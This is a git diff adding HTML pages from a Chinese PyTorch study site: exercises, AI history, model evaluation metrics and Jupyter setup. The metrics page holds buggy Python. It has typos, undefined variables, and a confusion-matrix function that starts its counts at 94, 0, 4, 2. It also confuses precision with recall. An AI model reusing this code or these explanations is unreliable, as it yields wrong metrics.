  1. 在学习完6.2 动态调整学习率后尝试使用动态调整学习率的方法训练模型。
  2. +
  3. 在学习完6.3 模型微调后,尝试使用预训练模型进行模型微调,观察模型的训练效果。
  4. +
  5. 在学习完6.5 数据增强后,尝试使用imgaug库进行数据增强,观察模型的训练效果。
  6. +
  7. 在学习完7.3 使用TensorBoard可视化训练过程后,尝试使用TensorBoard可视化训练过程,观察模型的训练效果。
  8. +
  9. 使用多卡训练模型,观察模型的训练效果。
  10. +
+
    +
  • 模型推理
  • +
+
    +
  1. 在学习完5.4 PyTorh模型保存与读取后,加载已经训练好的模型,进行模型推理。
  2. +
  3. 使用sklearn.metrics中的classification_report函数,输出模型的分类报告。
  4. +
  5. 学习完9.1 使用ONNX进行部署并推理后,将模型转换为ONNX格式,使用ONNXRuntime进行推理。
  6. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第四章/index.html b/en/docs/个人知识库/AI/PyTorch/第四章/index.html new file mode 100644 index 0000000..bc4d8d9 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第四章/index.html @@ -0,0 +1,46 @@ + + + + + +第四章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第零章/0.1 人工智能简史/index.html b/en/docs/个人知识库/AI/PyTorch/第零章/0.1 人工智能简史/index.html new file mode 100644 index 0000000..48c8381 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第零章/0.1 人工智能简史/index.html @@ -0,0 +1,80 @@ + + + + + +0.1 人工智能简史.md | wjlin0 + + + + + + + +

0.1 人工智能简史.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:06
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

人工智能简史

+

自从图灵在1950年第一次提出“机器智能(Machine Intelligence)”这个概念以来,人工智能已经经历了七十余年的发展。在这七十多年中,人工智能的发展先后经历了三次浪潮,每一次浪潮对人工智能的发展来说,都是具有里程碑意义的。接下来我们将以这三次浪潮为主线,为大家介绍人工智能的发展历程。除此之外,我们也将会给大家介绍现在常说的Deep learning,Machine Learning和AI之间的关系。

+

[* ]通过本章学习,你将收获:

+
    +
  • 了解人工智能的三次浪潮
  • +
  • 了解Deep learning,Machine learning和AI之间的关系
  • +
+

1.1 人工智能的三次浪潮​

+

1.1.1 第一次浪潮​

+

1950年,阿兰·图灵发表著名论文《计算机器与智能》,在这篇论文中,他提出了机器思维的概念和图灵测试,标志着“机器的智能化”正式进入人类的科技树。在此之后的数年间,机器智能有了进一步的发展。两年后的1952年,计算机科学家阿瑟·萨缪尔开发出一款跳棋程序,并提出了“机器学习”这个概念。在此之后的4年里,机器智能化也取得了一定的进步,直到1956年的达特茅斯会议上,约翰·麦卡锡正式提出了“人工智能”这个词语,1956年,也就成为了实际意义上的人工智能元年。

+

达特茅斯会议之后,人工智能进入了一个高速发展的时期,也就是所谓的“第一次浪潮”。这次浪潮一直持续到二十世纪六十年代中期。在这近10年的时间里,计算机本身的“智能”并没有得到发展,快速进步的是人工智能的一些理论与算法方面。很多对后来人工智能发展起到奠基作用的算法——如罗森布拉特在1957年发明感知机——就是在这个时间段诞生的。感知机是机器学习人工神经网络理论中神经元的最早模型,这一模型也使得人工神经网络理论得到了巨大的突破。除此之外,强化学习的雏形也是在那段时间提出的。彼时的科学界都弥漫着快乐的气氛,大家都认为,只要坚持走下去,人工智能就一定会得到跨越式的发展。但事与愿违,不久后人工智能的第一次寒冬(AI Winter)就到来了。

+

1966年前后,AI遭遇了瓶颈。人们发现逻辑证明器、感知器、强化学习等等只能做很简单、非常专门且很窄的任务,稍微超出范围就无法应对。当时的计算机有限的内存和处理速度不足以解决任何实际的AI问题。研究者们很快就意识到,要求程序对这个世界具有儿童水平的认识这个要求都太高了——那时没人能够做出人工智能需要的巨大数据库,也没人知道一个程序怎样才能学到如此丰富的信息。另一方面,有很多计算复杂度以指数程度增加,这成为了不可能完成的计算任务。

+

可以说,人工智能的第一次浪潮在发展到“非智能对话机器”的智能化初级阶段时,就因为当时的技术限制不得不停摆。人工智能的发展似乎陷入了一个无解的“死胡同”里,并被计算机科学家们逐渐冷落。

+

1.1.2 第二次浪潮​

+

时间来到了20世纪80年代。经过了数十年的研究,科学家们逐渐放弃了初代的符号学派思路,改用统计学的思路来研究人工智能。研究思路的改变再加上硬件技术的升级,人工智能的发展又一次迎来的新的契机。在那个时代,基于人工智能的“专家系统”受到了绝对的热捧。特定领域的“专家系统”程序被更广泛的采纳,该系统能够根据领域内的专业知识,推理出专业问题的答案,人工智能也由此变得更加“实用”,专家系统所依赖的知识库系统和知识工程成为了当时主要的研究方向。

+

但由于专家系统仅适用于某些特定场景,很快人们就对这一系统由狂热的追捧逐渐走向巨大的失望。与此同时,现代电子计算机的出现让“知识查询”的费用进一步降低,人们更加深刻的意识到专家系统是如此的古老陈旧。因此,政府部门下调了专家系统的研发资金。缺少了资金的支持,由专家系统再次兴起的人工智能研究又一次陷入了低谷之中。

+

虽然第二次浪潮持续的时间比较短,但它在整个人工智能发展历史中仍然起到了举足轻重的作用。它彻底改变了人工智能研究的大思路,将统计学思想引入研究之中,为人工智能在未来几十年的发展打下了基础。除此之外,在这次浪潮中提出的BP神经网络,为之后机器感知、交互的能力奠定了基础。

+

1.1.3 第三次浪潮​

+

1993年后,新的数学工具,理论和摩尔定律的出现,使得计算机的算力进一步提高,以深度学习为核心的机器学习算法获得发展,新的芯片和云计算的发展使得可用的计算能力获得飞跃式提高,大数据的发展使得海量数据的储存和分析成为可能。在这样的技术背景下,人工智能的第三次浪潮即将到来。

+

人工智能的第三次浪潮有两个重要的时间节点:2006年和2016年。2006年是深度学习发展史的分水岭。杰弗里辛顿在这一年发表了《一种深度置信网络的快速学习算法》,其他重要的深度学习学术文章也在这一年被发布,在基本理论层面取得了若干重大突破。而2016年3月,谷歌DeepMind研发的AlphaGo在围棋人机大战中击败韩国职业九段棋手李世乭,“人工智能”一词正式进入普通民众的视野并被逐渐熟知。至此,人工智能正式迈向了从“科研领域的应用型工具”到“实用性,功能性工具”的转变,人工智能有了新的研究方向和研究模式,即从过去的学术主导型研究逐渐走向了商业主导型研究。随着人类社会对智能化工具的不断追求和探索,人工智能的发展迎来了全新的时代。

+

1.1.4 总结​

+

+

上图是对人工智能发展中经历的三次浪潮和两次寒冬的形象总结。除此之外,有观点认为,深度学习算法带来的“技术红利”,将支撑我们再发展5~10年时间,随后就会遇到瓶颈。人工智能不是一个简单的从1到100进步的过程,它往往趋向于两个极端:要么90分以上,其它的都是10分以下。目前,人工智能急需寻找到一个“技术奇点”,让人工智能迅速发展到通用人工智能甚至是超级人工智能的水平。否则,在人工智能研究商业化的今天,无法从中获利的投资人们将快速撤资退场,人工智能或将进入下一个寒冬。

+

1.2 DL,ML,AI三者之间的关系​

+

大家对“人工智能”这个词,也就是我们所谓的“AI”(Artificial Intelligence)想必是非常熟悉,无论是近几年各行各业都喜欢用作营销噱头的“智能化”还是早期电影如《黑客帝国》、《终结者》等,都让AI这个概念深入人心。但近几年,另外两个词语也在逐步进入我们的生活,即就是“机器学习(Machine Learning,ML)”和“深度学习(Deep Learning,DL)”。在接下来的叙述中,我们就将了解DL和ML究竟是什么,以及它们和AI之间的关系。

+

1.2.1 DL和ML是什么​

+

Machine Learning(机器学习)。它在1959年被机器学习的先驱者之一的阿瑟·塞缪尔定义为:一门研究领域,它赋予计算机无需明确编程就能学习的能力。也就是说,机器学习程序不同于传统编程那样,使用if-then语句那样明确地输入到计算机中以便它根据条件执行。在某种意义上,机器学习程序赋予机器根据所接触到的数据进行自我调整的能力。机器学习更像是一种优化算法,如果我们在事先就对它进行了正确的调整,那么它就会在一遍又一遍的尝试和猜测之中不断减少它的错误,以无限逼近于最终的正确结果。而机器学习的基本思路,也就是将现实问题抽象成为一个数学问题,机器通过训练,寻找到解决数学问题的方法,进而解决现实问题。

+

Deep Learning(深度学习)。它在2006年被提出,并在近些年得到了迅速的发展。它通过建立、模拟人脑进行分析学习的神经网络,并模仿人脑的机制来解释数据。李开复教授在《人工智能》一书中这样解释深度学习:“假设深度学习要处理的信息是“水流”,而处理数据的深度学习网络是一个由管道和阀门组成的巨大水管网络。网络的入口是若干管道开口,网络的出口也是若干管道开口。这个水管网络有许多层,每一层由许多个可以控制水流流向与流量的调节阀。根据不同任务的需要,水管网络的层数、每层的调节阀数量可以有不同的变化组合。对复杂任务来说,调节阀的总数可以成千上万甚至更多。水管网络中,每一层的每个调节阀都通过水管与下一层的所有调节阀连接起来,组成一个从前到后,逐层完全连通的水流系统。”

+

1.2.2 它们和AI的关系​

+

众所周知,人工智能是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门技术科学。既然如此,那么计算器算是人工智能吗?严格地说是算的,因为它至少做了“模拟”人在计算方面的智能,并扩展了这个能力(比人算得更快)。我们通过代码驱动计算机去帮我们干活,这个算是人工智能吗?也算的。我们现在看到的貌似很高端的技术,如图像识别、NLP,其实依然没有脱离这个范围,说白了,就是“模拟人在看图方面的智能”和“模拟人在听话方面的智能”,本质上和“模拟人在计算方面的智能”没啥两样,虽然难度有高低,但目的是一样的——模拟、延伸和扩展人的智能。

+

随着人对计算机的期望越来越高,要求它解决的问题越来越复杂,仅仅算的更快,看的更准已经远远不能满足人们的诉求了。要解决的问题域越来越复杂,即使是同一个问题,其面对的场景也越来越多。传统的思路就是查找问题的条件和解决方法,在计算机程序中再加入一个if-then。但这只是治标不治本。随着我们期待解决的问题越来越多,计算机程序将越来越复杂,越来越难以维护。那怎么办呢?于是有人提出了一个新的思路——能否不为难码农,让机器自己去学习呢?

+

至此,“机器学习”的概念,正式诞生。机器学习就是用算法解析数据,不断学习,对世界中发生的事做出判断和预测的一项技术。研究人员不会亲手编写软件、确定特殊指令集、然后让程序完成特殊任务;相反,研究人员会用大量数据和算法“训练”机器,让机器自行学会如何执行任务。说白了,机器学习只是人们实现让机器“模拟、延伸和扩展人的智能”的一种较为轻松的方法罢了。它的成功与否取决于我们喂给机器的数据集是否准确且有效。因此,机器学习是大数据技术领域内的一个应用,人们只是借用这个应用,来发展人工智能罢了。机器学习发展了几十年之后,再次遇到了瓶颈期。随着问题场景的更加复杂多变,需要进行判断的条件更加苛刻,人们不得不重新思考一种方式来优化机器学习。深度学习就是带着这个目的被提出的。

+

机器学习中有一个概念叫“神经网络”,深度学习正是通过优化这个网络来更好的解决通过机器学习难以解决的问题。它的基本特点,就是试图模仿大脑的神经元之间传递,处理信息的模式,通过不同的“层”来拆分问题,每一层解决问题的一个部分。比如在利用深度学习解决智能驾驶问题中,第一层可能用于识别车辆与道路边缘的距离,第二层用于识别道路标线,第三层用于识别路上的其他车辆等等。

+

通过以上几段话的简单描述,DL,ML和AI之间的关系也就明确了。它们三者的关系就像是俄罗斯套娃:AI最大,它的目的是通过让机器模仿人类进而超越人类;ML次之,它是AI的一个分支(也是最重要分支),是让机器模仿人类的一种方法;DL更次之,它是ML的一个分支,它的目的是让机器不借助人工标注,也能自主提取目标特征进而解决问题的一种方法。

+

最后,借用一张经典的关系图作为结尾:

+

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第零章/0.2 评价指标/index.html b/en/docs/个人知识库/AI/PyTorch/第零章/0.2 评价指标/index.html new file mode 100644 index 0000000..b8d8bbd --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第零章/0.2 评价指标/index.html @@ -0,0 +1,147 @@ + + + + + +0.2 评价指标.md | wjlin0 + + + + + + + +

0.2 评价指标.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:06
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

模型评价指标

+

在我们学习机器学习以及深度学习,甚至在计算机视觉领域,我们不可避免的要利用一些指标评价模型,在本小节中,我们介绍了模型相关评价指标,

+

经过本节的学习 ,我们将会学习到:

+
    +
  • 模型常用的相关评价指标
  • +
  • 不同评价指标的适应性以及优缺点
  • +
+

混淆矩阵​

+

混淆矩阵(也称误差矩阵)是机器学习和深度学习中表示精度评价的一种标准格式,常用n行n列的矩阵形式来表示。其列代表的是预测的类别,行代表的是实际的类标,以一个常见的二分类的混淆矩阵为例。我们会发现二分类的混淆矩阵包括TP, FP, FN, TN,其中TP为True Positive,True代表实际和预测相同,Positive代表预测为正样本。同理可得,False Positive (FP)代表的是实际类别和预测类标不同,并且预测类别为正样本,实际类别为负样本;False Negative (FN)代表的是实际类别和预测类标不同,并且预测类别为负样本,实际类别为正样本;True Negative (TN)代表的是实际类别和预测类标相同,预测类别和实际类别均为负样本。

+ +

在这里我们以一个二分类的例子来帮助大家理解。假设我们是某核酸检测机构,将对100个人进行核酸检测,实际结果为98个阴性,2个阳性,但是我们的模型对核酸检测结果进行预测,预测结果为94个阴性,6个阳性结果,在这里我们定义核酸结果阴性为正样本,核酸结果阳性为负样本。在这个例子中,TP代表实际为阴性且被预测为阴性的数量,共有94人;FP代表实际为阳性,模型预测为阴性的数量,共有0人;FN代表实际为阴性被模型判断为阳性的数量,共有4人;TN代表实际为阳性,被模型识别为阳性的数量,共有2人。 于是我们就可以得到下面的这个混淆矩阵。

+

$$ +\begin{bmatrix} +94 & 0 \ +4 & 2 +\end{bmatrix} \tag{2} +$$

+

我们在此也展示一个10类标+1个背景所产生的归一化的混淆矩阵

+ +

我们在拥有混淆矩阵后,可以计算Accuracy,Precision,Recall,F1 Score等衡量模型的评价指标。关于混淆矩阵的代码实现,我们可以使用sklearn.metrics.confusion_matrix()函数进行计算

+
from sklearn.metrics import confusion_matrix
def compute_confusion_matrix(labels,pred_labels_list,gt_labels_list):
pred_labels_list = np.asarray(pred_labels_list)
gt_labels_list = np.assarray(gt_labels_list)
matrix = confusion_matrix(test_label_list,
pred_label_list,
labels=labels)
return matrix
+

Overall Accuracy​

+

Overall Accuracy代表了所有预测正确的样本占所有预测样本总数的比例,结合上述例子,我们可以用下述公式表示: +$$ +\rm{OA} =\frac{\rm{TP+TN}}{\rm{TP+TN+FP+FN}} = \frac{N_{correct}}{N_{total}} +$$ +这里的分类正确代表了正样本被正确分类为正样本,负样本正确分类为负样本。准确率是描述模型最简单的指标,Acc的缺点主要在于假如说我们举得例子,在样本中,核酸结果成阴性占据了模型98%, +假如说模型不调试分类,我只要一直判断核酸结果呈阴性,那我们的模型最终效果可能会更好,但是实际上模型的效率以及准确率都是非常低下的。当我们的样本正负样本极端不平衡时Acc这个评价指标其实是没有意义的。我们再回到上面的例子中,可以计算在该例子中Acc = 0.96. +$$ +OA=\frac{\rm{TP+TN}}{100}= \frac{96}{100}= 0.96 +$$

+
def compute_oa(matrix):
"""
计算总体准确率,OA=(TP+TN)/(TP+TN+FP+FN)
:param matrix:
:return:
"""
return np.trace(matrix) / np.sum(matrix)
+

Average accuracy​

+

Average accuracy( AA) 代表的是平均精度的计算,平均精度计算的是每一类预测正确的样本与该类总体数量之间的比值,最终再取每一类的精度的平均值。代码实现中,我们使用numpy的diag将混淆矩阵的对角线元素取出,并且对于混淆矩阵进行列求和,用对角线元素除以求和后的结果,最后对结果计算求出平均值。

+
def compute_aa(matrix):
"""
计算每一类的准确率,AA=(TP/(TP+FN)+TN/(FP+TN))/2
:param matrix:
:return:
"""
return np.mean(np.diag(matrix) / np.sum(matrix, axis=1))
+

Kappa系数​

+

Kappa系数是一个用于一致性检验的指标,也可以用于衡量分类的效果。对于分类问题而言,一致性就是模型预测结果和实际分类结果是否一致。kappa系数的计算同样也是基于混淆矩阵进行计算,取值为-1到1之间,通常大于0。我们可以使用下述公式进行计算: +$$ +kappa = \frac{p_o-p_e}{1-p_e}\ +p_o = OA\ +p_e = \frac{\sum_{i} (x_i \cdot x_j)}{(\sum_{j=0}^n\sum_{i=0}^{n} x_{ij})^2} +$$

+
def compute_kappa(matrix):
"""
计算kappa系数
:param matrix:
:return:
"""
oa = self.compute_oa(matrix)
pe = 0
for i in range(len(matrix)):
pe += np.sum(matrix[i]) * np.sum(matrix[:, i])
pe = pe / np.sum(matrix) ** 2
return (oa - pe) / (1 - pe)
+

Recall​

+

Recall也称召回率,代表了实际为正样本并且也被正确识别为正样本的数量占样本中所有为正样本的比例,可以用下述公式进行表示 +$$ +\rm{Recall} = \frac{\rm{TP}}{\rm{TP + FN}} +$$

+

Recall是判断模型正确识别所有正样本的能力。结合我们所举的例子,代表了模型对于正样本的识别能力,也能较好的反应模型的优劣。与Precision不同的是,我们是反映了模型预测时候有多少阴性(正样本)被检测出来。在例子中代表了实际为阴性被模型正确判断为阴性的数量占实际为阴性的比例,即 +$$ +\rm{Recall} = \frac{94}{98}=0.959 +$$

+

Precision​

+

Precision也称精准率,代表的是在全部预测为正的结果中,被预测正确的正样本所占的比例,可以用下述公式进行表示 +$$ +\rm{Precision} = \frac{\rm{TP}}{\rm{TP + FP}} +$$ +FP代表了阳性患者被预测为阴性(正样本),TP代表了阴性被正确预测为阴性。相较于Acc,Precision更能较好的反应出模型对于正样本(阴性)识别能力。和Recall不同的是,Precision代表了预测结果中有多少样本是分类正确的。 +在实际应用场景中,我们继续结合核酸的例子,当我们在进行全面核酸检测时,我们的希望在于模型尽可能少的漏掉阳性患者,此时认为模型Precision显得更为重要。

+

F1​

+

$$ +\rm{F_1} = 2\cdot\frac{P\times R}{P+R} = \frac{2TP}{FP+FN+2TP} +$$

+

F1在模型评估中也是一种重要的评价指标,F1可以解释为召回率(Recall)和P(精确率)的加权平均,F1越高,说明模型鲁棒性越好。人们希望有一种更加广义的方法定义F-score,希望可以改变P和R的权重,于是人们定义了$F_{\beta}$,其定义式如下: +$$ +\rm{F_{\beta}}=\frac{\left(1+\beta^{2}\right) \times P \times R}{\left(\beta^{2} \times P\right)+R} +$$

+
    +
  • 当 $\beta$ > 1 时,更偏好召回(Recall)
  • +
  • 当 $\beta$ < 1 时,更偏好精准(Precision)
  • +
  • 当 $\beta$ = 1 时,平衡精准和召回,即为 F1
  • +
+

当有多个混淆矩阵(多次训练、多个数据集、多分类任务)时,有两种方式估算 “全局” 性能:

+
    +
  • macro 方法:先计算每个 PR,取平均后,再计算 F1
  • +
  • micro 方法:先计算混淆矩阵元素的平均,再计算 PR 和 F1
  • +
+

PR曲线​

+

在深度学习常用指标中,PR曲线也能很直观的反应模型好坏。我们用一副经典图来说明问题:

+ +

横轴是召回率,纵轴代表了P(精确率),P-R曲线上的一个点代表着,在某一阈值下,模型将大于该阈值的结果判定为正样本,小于该阈值的结果判定为负样本,此时返回结果对应的召回率和精确率。整条P-R曲线是通过将阈值从高到低移动而生成的。原点附近代表当阈值最大时模型的精确率和召回率,在PR曲线我们可以从图中直观的看到某一个曲线被另外一条曲线完全包裹,所包围的面积大于另一条曲线包围的面积,举例图中可以说明A模型的性能优于B和C。 +参考代码如下:

+
from typing import List, Tuple
import matplotlib.pyplot as plt

def get_confusion_matrix(
y_pred: List[int],
y_true: List[int]
) -> Tuple[int, int, int, int]:

length = len(y_pred)
assert length == len(y_true)
tp, fp, fn, tn = 94, 0, 4, 2
for i in range(length):
if y_pred[i] == y_true[i] and y_pred[i] == 1:
tp += 1
elif y_pred[i] == y_true[i] and y_pred[i] == 0:
tn += 1
elif y_pred[i] == 1 and y_true[i] == 0:
fp += 1
elif y_pred[i] == 0 and y_true[i] == 1:
fn += 1
return (tp, fp, tn, fn)
def calc_p(tp: int, fp: int) -> float:
return tp / (tp + fp)
def calc_r(tp: int, fn: int) -> float:
return tp / (tp + fn)
def get_pr_pairs(
y_pred_prob: List[float],
y_true: List[int]
) -> Tuple[List[int], List[int]]:
ps = [1]
rs = [0]
for prob1 in y_pred_prob:
y_pred_i = []
for prob2 in y_pred_prob:
if prob2 < prob1:
y_pred_i.append(0)
else:
y_pred_i.append(1)
tp, fp, tn, fn = get_confusion_matrix(y_pred_i, y_true)
p = calc_p(tp, fp)
r = calc_r(tp, fn)
ps.append(p)
rs.append(r)
ps.append(0)
rs.append(1)
return ps, rs

y_pred_prob = [0.9, 0.8, 0.7, 0.6, 0.55, 0.54, 0.53, 0.52, 0.51, 0.505,
0.4, 0.39, 0.38, 0.37, 0.36, 0.35, 0.34, 0.33, 0.3, 0.1]
y_true = [1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0]
y_pred = [1] * 10 + [0] * 10
ps, rs = get_pr_pairs(y_pred_prob, y_true)
fig, ax = plt.subplots(nrows=1, ncols=1, figsize=(12, 5))
ax.plot(rs, ps);
+

置信度​

+

在目标检测中,我们通常需要将边界框内物体划分为正样本和负样本。我们使用置信度这个指标来进行划分,当小于置信度设置的阈值判定为负样本(背景),大于置信度设置的阈值判定为正样本.

+

IOU​

+

雅卡尔指数( Jaccard index),交并比,也是我们在目标检测和语义分割领域经常见到的IOU。 IOU可以去除目标检测的冗余框进行后处理优化并且还可以计算Loss达到优化模型的效果。 +$$ +\rm{IOU} = \frac{A\cap B}{A\cup B}=\frac{S_{交集}}{S_{并集}} +$$ +分子部分是模型预测框与真实标注框之间的重叠区域,分母部分是两者的并集,预测框和实际框所占有的总区域,在实际模型识别时会根据我们自己设定合适的阈值来判定正负样本。

+ +

一般情况下在目标检测任务中,人们将IOU $\geq$0.7时判定为正样本,其余情况判定为负样本。

+

AP​

+

结合我最近做的实验结合理解下,AP事实上是PR曲线所包含的面积,当我们取不同的置信度,可以获得不同的P和Recall,PR曲线下面所包含的面积就是模型检测某个类的AP值。我们仍然以上述核酸检测为例,

+

mAP​

+

我们熟悉了上面的基础概念,就可以计算模型的mAP了,全称mean Average Precision,mAP则是所有类的AP值的平均值。通过上述的PR曲线,我们可以得到对应的AP值,通过了解, +(1)在2010年以前,VOC竞赛AP值的定义为:对于一条AP曲线,我们把Recall的值从0-1划分为11分,即:0、0.1、0.2、0.3、0.4、0.5、0.6、0.7、0.8、0.9、1.0,然后基于每个小区间计算Precision的最大值,然后计算他们的总和求平均,就是AP值,被称作11-poinst-interpolation. +(2) 2010年后,重新定义为PR曲线上所有的Recall,选取大于等于这些Recall值时的最大值Precision,计算PR曲线下面面积作为AP值.被称作all-poinst-interpolation.

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第零章/0.3 常用包的学习/index.html b/en/docs/个人知识库/AI/PyTorch/第零章/0.3 常用包的学习/index.html new file mode 100644 index 0000000..99eaca7 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第零章/0.3 常用包的学习/index.html @@ -0,0 +1,48 @@ + + + + + +0.3 常用包的学习.md | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第零章/0.4 Jupyter相关操作/index.html b/en/docs/个人知识库/AI/PyTorch/第零章/0.4 Jupyter相关操作/index.html new file mode 100644 index 0000000..ee03d75 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第零章/0.4 Jupyter相关操作/index.html @@ -0,0 +1,385 @@ + + + + + +0.4 Jupyter相关操作.md | wjlin0 + + + + + + + +

0.4 Jupyter相关操作.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:07
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

Jupyter notebook/Lab 简述

+

在数据科学,机器学习,深度学习中,我们希望即时进行图像的可视化和函数的计算,基于这种需求,人们开发出了基于网页的用于交互计算的应用程序Jupyter Notebook。在我们的教程代码也是基于Jupyter notebook。除此之外,它们可被应用于全过程计算:开发、文档编写、运行代码和展示结果。在Jupyter Notebook中编写的文档保存为.ipynb的JSON格式文件,文档可以导出为HTML、LaTeX、markdown、PDF等格式。Jupyter Notebook的主要特点有:

+
    +
  • +

    编程时具有语法高亮、缩进、tab补全的功能。

    +
  • +
  • +

    可直接通过浏览器运行代码,同时在代码块下方展示运行结果。

    +
  • +
  • +

    以富媒体格式展示计算结果。富媒体格式包括:HTML,LaTeX,PNG,SVG等。

    +
  • +
  • +

    对代码编写说明文档或语句时,支持Markdown语法。

    +
  • +
  • +

    支持使用LaTeX编写数学性说明。

    +
  • +
+

除此之外,好用的Jupyter Notebook还有个“双胞胎”——Jupyter Lab。Jupyter Lab是基于Web的集成开发环境,可以把它当作进化版的Jupyter Notebook。使用Jupyter Lab可以同时在一个浏览器页面打开编辑多个Notebook、Ipython console和terminal终端,甚至可以使用Jupyter Lab连接Google Drive等服务。由于Jupyter Lab拥有模块化结构,提供更多类似IDE的体验,已经有越来越多的人从使用Jupyter Notebook转向使用Jupyter Lab。

+

[* ]通过本章学习,你将收获:

+
    +
  • 安装和配置Jupyter Notebook和Jupyter Lab的方法
  • +
  • Jupyter Notebook的基本操作和快捷键
  • +
  • 使用Jupyter Notebook编写代码的方式
  • +
  • 了解Jupyter Notebook的Bash命令和魔术命令
  • +
  • 为Jupyter Notebook安装拓展插件的方法
  • +
+

1 Jupyter Notebook/Lab安装​

+
    +
  1. +

    安装Jupyter Notebook:激活虚拟环境后,我们只需要在终端输入指令

    +
    conda install jupyter notebook
    # pip install jupyter notebook
    +
  2. +
+
    +
  • +

    注:如果pip版本过低,还需提前运行更新pip的指令

    +
    pip install --upgrade pip
    +
  • +
+
    +
  1. +

    安装Jupyter Lab:激活环境后,我们同样也只需要在终端输入指令

    +
    conda install -c conda-forge jupyterlab
    # pip install jupyterlab
    +
  2. +
  3. +

    在终端输入指令打开Jupyter Notebook

    +
    jupyter notebook  # 打开Jupyter Notebook
    jupyter lab # 打开Jupyter Lab
    +
  4. +
+
    +
  • +

    如果浏览器没有自动打开Jupyter Notebook或者Jupyter Lab,复制端口信息粘贴至浏览器打开

    +

    image-20220812162810305

    +
  • +
  • +

    如果想要自定义端口,在终端输入如下指令修改

    +
    jupyter notebook --port <port_number>
    +
  • +
  • +

    如果想启动服务器但不打开浏览器,可以在终端输入

    +
    jupyter notebook --no-browser
    +
  • +
+

2 Jupyter Notebook/Lab配置​

+

2.1 设置文件存放位置​

+

​ 在使用Jupyter Notebook/Jupyter Lab时,如果我们想要更改默认文件存放路径,该怎么办?

+
    +
  • Jupyter Notebook
  • +
+
    +
  1. +

    我们首先需要查看配置文件,只需要在终端输入

    +
    jupyter notebook --generate-config
    +
  2. +
  3. +

    我们记住出现配置文件的路径,复制到文件夹中打开(终端这里可以写N)

    +
  4. +
+image-20220716235510697 +
    +
  1. 在文件夹中双击打开配置文件
  2. +
+image-20220716235540827 +
    +
  1. +

    打开Python文件后,用Ctrl+F快捷键查找,输入关键词,找到# c.NotebookApp.notebook_dir = ''

    +
  2. +
  3. +

    去掉注释,并填充路径c.NotebookApp.notebook_dir = 'D:\\Adatascience'

    +
  4. +
+image-20220804170455298 +
    +
  1. 此时我们在终端中输入jupyter notebook,打开页面后发现文件默认路径已经被更改。但是点击菜单栏中的应用快捷方式打开Jupyter Notebook,打开页面发现文件位置仍然是默认路径
  2. +
+image-20220716235931573 +
    +
  1. 如果我们想要更改应用快捷方式Jupyter Notebook的文件位置,此时需要右键选中快捷方式,打开文件所在位置。再右键点击快捷方式,查看属性,再点击快捷方式
  2. +
+image-20220717000530228 +image-20220804171027983 +
    +
  1. 我们只需要在“目标”中删除红框标记部分,点击确定
  2. +
+image-20220717001243904 +
    +
  1. 此时再打开菜单栏中Jupyter Notebook的快捷方式,发现页面文件路径已经变为之前自主设置的路径啦!
  2. +
+
    +
  • Jupyter Lab的修改操作和Jupyter Notebook流程相似,但是在细节上有些不同
  • +
+
    +
  1. +

    同样我们还是首先需要查看配置文件,在终端输入

    +
    jupyter lab --generate-config
    +
  2. +
  3. +

    找到配置文件所在的文件夹,打开配置文件

    +
  4. +
  5. +

    修改配置文件时,用Ctrl+F快捷键查找,输入关键词,找到# c.ServerApp.notebook_dir,去掉注释。改为c.ServerApp.notebook_dir = 'D:\\Adatascience(这里填自己想改的文件路径)'

    +
  6. +
  7. +

    之后的步骤和Jupyter Notebook修改配置文件的第七至第十步相同

    +
  8. +
+

2.2 使用虚拟环境​

+

​ 需要注意的是,Anaconda安装的虚拟环境和Jupyter Notebook运行需要的Kernel并不互通。那么我们该如何解决这个问题,并且如果我们想要切换内核(Change Kernel),该如何操作呢?

+
    +
  1. 将在Anaconda中创建的虚拟环境添加ipykernel
  2. +
+
# 如果还没创建环境,在创建时要加上ipykernel
conda create -n env_name python=3.8 ipykernel
# 如果已经创建环境,在环境中安装ipykernel
pip install ipykernel
+
    +
  1. 将虚拟环境写进Jupyter
  2. +
+
python -m ipykernel install --user --name env_name --display-name "env_name"
+
    +
  1. 在Kernel中更换添加的虚拟环境即可
  2. +
+image-20220812171025719 +

3 Jupyter Notebook\Lab基本操作​

+

3.1 基本使用​

+

3.1.1 Jupyter Notebook​

+
    +
  1. 创建文件:点击右上角New,选择Notebook;创建文件夹:点击右上角New,选择Folder
  2. +
+image-20220805024106987 +
    +
  1. 删除文件:点击文件前的方框,再点击删除图标
  2. +
+image-20220805030406608 +
    +
  1. 重命名文件:当文件在运行时(即文件前图标为绿色),需要先点击“Shutdown”(关闭终端),再点击“Rename”
  2. +
+image-20220805031209481 +
    +
  1. 重命名文件夹:点击文件夹前的方框,再点击“Rename”
  2. +
  3. 复制(Duplicate)、移动(Move)、下载(Download)、查看(View)等操作,同样可以点击文件前的方框,再点上方的图标进行操作
  4. +
+

3.1.2 Jupyter Lab​

+
    +
  1. 红框内按钮从左到右分别是新建文件、新建文件夹、上传文件和刷新
  2. +
+

image-20220805033034092

+
    +
  1. 上传多个文件的方法:
  2. +
+
    +
  • 将文件打包成一个zip压缩包
  • +
  • 上传该压缩包
  • +
  • 解压文件!unzip (压缩包所在路径) -d (解压路径),例如:!unzip coco.zip -d data/coco
  • +
  • 删除该压缩包
  • +
+

3.2 常用快捷键​

+
    +
  1. +

    入门操作

    +
